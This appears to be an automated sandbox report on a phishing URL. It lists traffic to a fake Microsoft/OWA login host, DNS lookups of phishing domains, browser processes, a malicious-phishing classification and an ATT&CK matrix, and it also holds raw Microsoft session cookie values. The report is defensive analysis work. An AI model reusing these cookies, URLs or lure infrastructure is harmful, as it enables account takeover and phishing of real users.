esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: click.pstmrk.it
Source: global traffic	DNS traffic detected: DNS query: t.co
Source: global traffic	DNS traffic detected: DNS query: wordpressprofissional.com.br
Source: global traffic	DNS traffic detected: DNS query: secur-doc.online
Source: global traffic	DNS traffic detected: DNS query: 6knvejjuzh3.scrdata-doc.cfd
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: c.s-microsoft.com
Source: global traffic	DNS traffic detected: DNS query: assets.onestore.ms
Source: global traffic	DNS traffic detected: DNS query: i.s-microsoft.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1714135000037&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: eca6eed0-edea-4501-86d2-3c85026bc400x-ms-ests-server: 2.1.17846.6 - NEULR1 ProdSlicesnel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originDate: Fri, 26 Apr 2024 12:37:24 GMTConnection: closeContent-Length: 0Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Source: chromecache_137.2.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_117.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_129.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_129.2.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_129.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_118.2.dr	String found in binary or memory: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css
Source: chromecache_129.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: chromecache_100.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_100.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_134.2.dr	String found in binary or memory: https://secur-doc.online/?hjhmxbor&qrc=
Source: chromecache_89.2.dr	String found in binary or memory: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal84.phis.win@29/98@30/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2012,i,11760503481777218251,5847804441829392476,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1984,i,6016941186298933392,15706958933032620811,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2012,i,11760503481777218251,5847804441829392476,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1984,i,6016941186298933392,15706958933032620811,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	0%	Avira URL Cloud	safe
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	3%	Virustotal		Browse
